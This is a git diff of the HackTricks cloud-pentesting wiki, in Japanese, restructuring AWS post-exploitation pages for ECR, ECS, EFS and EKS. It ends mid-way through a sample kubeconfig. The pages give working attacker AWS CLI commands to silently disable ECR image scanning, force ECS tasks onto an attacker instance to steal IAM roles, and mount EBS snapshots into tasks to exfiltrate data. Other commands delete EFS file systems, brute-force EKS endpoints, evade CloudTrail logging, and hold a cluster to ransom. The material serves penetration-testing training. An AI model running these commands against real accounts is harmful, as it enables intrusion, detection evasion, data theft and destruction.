+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+リポジトリとイメージでテスト
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+任意: リポジトリのスコープでさらに劣化させる
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+影響
+- レジストリ全体への新しいイメージのプッシュが自動でスキャンされなくなり、脆弱または悪意のあるコンテンツの可視性が低下し、手動スキャンが開始されるまで検出が遅れる。
+
+### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` でダウングレードする (AWS_NATIVE -> CLAIR)
+
+デフォルトの AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これによりスキャンが無効化されるわけではありませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールなしの BASIC registry scanning configuration と組み合わせると、スキャンを手動のみの運用にできます。
+
+要件
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (オプション) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+影響
+- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定され、以降の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。
+
+手順
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 0a2ca6f08..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### ホストIAMロール
-
-ECSでは、**IAMロールはコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2インスタンス**には**別のIAM**ロールが付与されます。\
-つまり、ECSインスタンスを**侵害**することに成功すれば、**ECRおよびEC2インスタンスに関連付けられたIAMロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、次を確認してください：
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
-
-### ノードへの特権昇格と他のコンテナの資格情報・秘密の盗難
-
-さらに、EC2はECタスクを実行するためにdockerを使用しているため、ノードにエスケープするか、**dockerソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与されたIAMロールを盗む**ことができます。
-
-#### 現在のホストでコンテナを実行する
-
-さらに、**EC2インスタンスロール**は通常、クラスター内のノードとして使用されているEC2インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は**インスタンスの状態をDRAININGに変更**することができ、その後ECSは**すべてのタスクを削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内**で実行されるため、彼は**それらのIAMロール**やコンテナ内の潜在的な機密情報を**盗む**ことができます。
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-同じ技術は**クラスターからEC2インスタンスを登録解除する**ことによって行うことができます。これは潜在的にあまりステルス性がありませんが、**タスクを他のインスタンスで実行させることを強制します:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-タスクの再実行を強制するための最終的な手法は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります：
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### ECRコンテナからの機密情報の盗難
-
-EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます（その中に機密情報を探すことができます）。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
new file mode 100644
index 000000000..fce033888
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -0,0 +1,124 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### ホストの IAM ロール
+
+In ECS、コンテナ内で実行されるタスクには**IAM role をタスクに割り当てることができる**。**もし**そのタスクが**EC2**インスタンス内で実行されている場合、**EC2 instance**には別の**IAM**ロールがアタッチされます。\
+つまり、もし ECS インスタンスを**compromise**できれば、**obtain the IAM role associated to the ECR and to the EC2 instance** 可能性があります。これらの資格情報を取得する方法の詳細は次を参照してください:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> EC2 instance が IMDSv2 を強制している場合、[**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**response of the PUT request** は **hop limit of 1** を持つため、EC2 instance 内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+
+### Privesc to node to steal other containers creds & secrets
+
+さらに、EC2 は docker を使って ECs タスクを実行しているため、ノードに脱出するか**access the docker socket**できれば、どの**other containers**が実行されているかを**check**でき、実際にそれらに**get inside of them**してアタッチされている**IAM roles**を**steal their IAM roles**することも可能です。
+
+#### 現在のホストでコンテナを実行させる
+
+さらに、**EC2 instance role** は通常クラスタ内のノードとして使用されている EC2 インスタンスの **update the container instance state** を行うのに十分な **permissions** を持っています。攻撃者は**state of an instance to DRAINING**に変更することができ、その後 ECS はそのインスタンスから**remove all the tasks from it**し、**REPLICA**として実行されているものは**run in a different instance,**、場合によっては攻撃者の**attackers instance**内で実行され、そこで**steal their IAM roles**やコンテナ内部の機密情報を取得することができます。
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+同じ手法は、**EC2 インスタンスをクラスターから deregister することで実行できます**。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させることを強制します：**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行う可能性のある API は 3 つあります:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Steal sensitive info from ECR containers
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取ります。
+
+- Needs (minimum):
+- ecs:RegisterTaskDefinition
+- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole on:
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
+
+- Impact: スナップショットから任意のディスク内容（例：データベースファイル）をコンテナ内で読み取り、ネットワーク／ログ経由で持ち出すことが可能。
+
+Steps (Fargate example):
+
+1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) `configuredAtLaunch` とマークされたボリュームを持つ task definition を登録し、container にマウントします。例（シークレットを出力してからスリープします）:
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) サービスを作成または更新し、EBS スナップショットを `volumeConfigurations.managedEBSVolume` 経由で渡す（infra role に iam:PassRole が必要）。例：
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) タスクが開始されると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。task の network/logs を経由して exfiltrate してください。
+
+クリーンアップ:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
deleted file mode 100644
index 787239397..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# AWS - EFS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-攻撃者はマウントターゲットを削除することができ、アプリケーションやそのマウントターゲットに依存するユーザーのEFSファイルシステムへのアクセスを妨げる可能性があります。
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**潜在的影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
-
-### `elasticfilesystem:DeleteFileSystem`
-
-攻撃者はEFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**潜在的影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービス中断。
-
-### `elasticfilesystem:UpdateFileSystem`
-
-攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソース枯渇を引き起こしたりする可能性があります。
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**潜在的影響**: ファイルシステムのパフォーマンスの低下またはリソースの枯渇。
-
-### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
-
-攻撃者はアクセスポイントを作成または削除し、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**潜在的な影響**: ファイルシステムへの不正アクセス、データの露出または変更。 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
new file mode 100644
index 000000000..70b7ea2d1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+詳細は次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+攻撃者は mount target を削除できる可能性があり、その mount target に依存するアプリケーションやユーザーからの EFS ファイルシステムへのアクセスを妨げるおそれがあります。
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**潜在的な影響**: ファイルシステムへのアクセスの中断や、ユーザーやアプリケーションに対するデータ損失の可能性。
+
+### `elasticfilesystem:DeleteFileSystem`
+
+攻撃者は EFS ファイルシステム全体を削除する可能性があり、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Potential Impact**: データ損失および削除されたファイルシステムを利用するアプリケーションのサービス停止
+
+### `elasticfilesystem:UpdateFileSystem`
+
+攻撃者は、EFSファイルシステムのプロパティ（throughput modeなど）を更新して、パフォーマンスに影響を与えたりリソース枯渇を引き起こしたりする可能性があります。
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**潜在的な影響**: ファイルシステムのパフォーマンスの低下やリソースの枯渇。
+
+### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
+
+攻撃者はアクセスポイントを作成または削除してアクセス制御を変更し、その結果、ファイルシステムへの不正アクセスを自身に許してしまう可能性がある。
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Potential Impact**: ファイルシステムへの不正アクセス、データの露出または改ざん。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
deleted file mode 100644
index d4851a3bf..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ /dev/null
@@ -1,143 +0,0 @@
-# AWS - EKS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-詳細については、以下を確認してください
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### AWS コンソールからクラスターを列挙する
-
-**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKS コンソールを介して **Kubernetes オブジェクトを表示** できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
-
-### AWS Kubernetes クラスターに接続する
-
-- 簡単な方法:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- 簡単ではない方法：
-
-もしあなたが **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスター情報を取得する権限（describeCluster）がない場合、あなた自身の **`~/.kube/config`** を **準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です（ポッドからJWTトークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を読んでください）と **クラスターの名前** が必要です。
-
-私の場合、CloudWatchログでは情報を見つけられませんでしたが、**LaunchTemplatesのuserData** と **EC2マシンのuserData** で情報を見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では（クラスター名は cluster-name でした）：
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### AWSからKubernetesへ
-
-**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この文書作成時点では、**クラスターを作成した人**を見つける**直接的な方法**は**ありません**（CloudTrailを確認できます）。また、その**特権**を**削除する方法**も**ありません**。
-
-**AWS IAMユーザーやロールにK8sへのアクセスを付与する方法**は、**configmap** **`aws-auth`**を使用することです。
-
-> [!WARNING]
-> したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。
-
-**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**このページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
-
-また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。
-
-### KubernetesからAWSへ
-
-**Kubernetesサービスアカウント**のための**OpenID認証**を許可し、AWSでロールを引き受けることができるようにすることが可能です。これがどのように機能するかは、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
-
-### JWTトークンからAPIサーバーエンドポイントを取得する
-
-JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準フォーマットは
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-ドキュメントで「2文字」と「数字」の基準を説明しているものは見つかりませんでした。しかし、自分でテストを行ったところ、以下のものが繰り返し現れることがわかりました：
-
-- gr7
-- yl4
-
-いずれにせよ、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-その後、wfuzzを使用して
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> & を置き換えることを忘れないでください。
-
-### CloudTrailのバイパス
-
-攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はCloudTrailにログを生成しません（AWS APIと対話せず、トークンをローカルで作成するだけだからです）。
-
-したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連するログを記録しません**。
-
-**EKSクラスターにはこのアクセスを記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。
-
-### EKSの身代金？
-
-デフォルトでは、**クラスターを作成したユーザーまたはロール**は**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
-
-したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除**すると、~~攻撃者は**クラスターを身代金にすることができた**~~**。
-
-> [!TIP]
-> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能です。
->
-> 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
new file mode 100644
index 000000000..3a26f5808
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+詳細については以下を確認してください
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerate the cluster from the AWS Console
+
+もし権限 **`eks:AccessKubernetesApi`** を持っている場合、AWS EKS コンソール経由で **Kubernetes objects を表示できます**（[Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)）。
+
+### Connect to AWS Kubernetes Cluster
+
+- 簡単な方法:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- それほど簡単な方法ではない:
+
+もし **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスタ情報（describeCluster）を取得する権限がなければ、**独自に `~/.kube/config` を用意する**ことができます。ただしトークンを持っていても、接続するための **URL エンドポイント**（pod から JWT token を入手できた場合は [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) を参照）と **クラスタの名前** が必要です。
+
+私の場合、CloudWatch ログでは情報は見つかりませんでしたが、**LaunchTemaplates userData で見つけました**し、**EC2 マシンの userData にもありました**。この情報は **userData** に簡単に表示されます。例えば次の例（クラスタ名は cluster-name）:
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
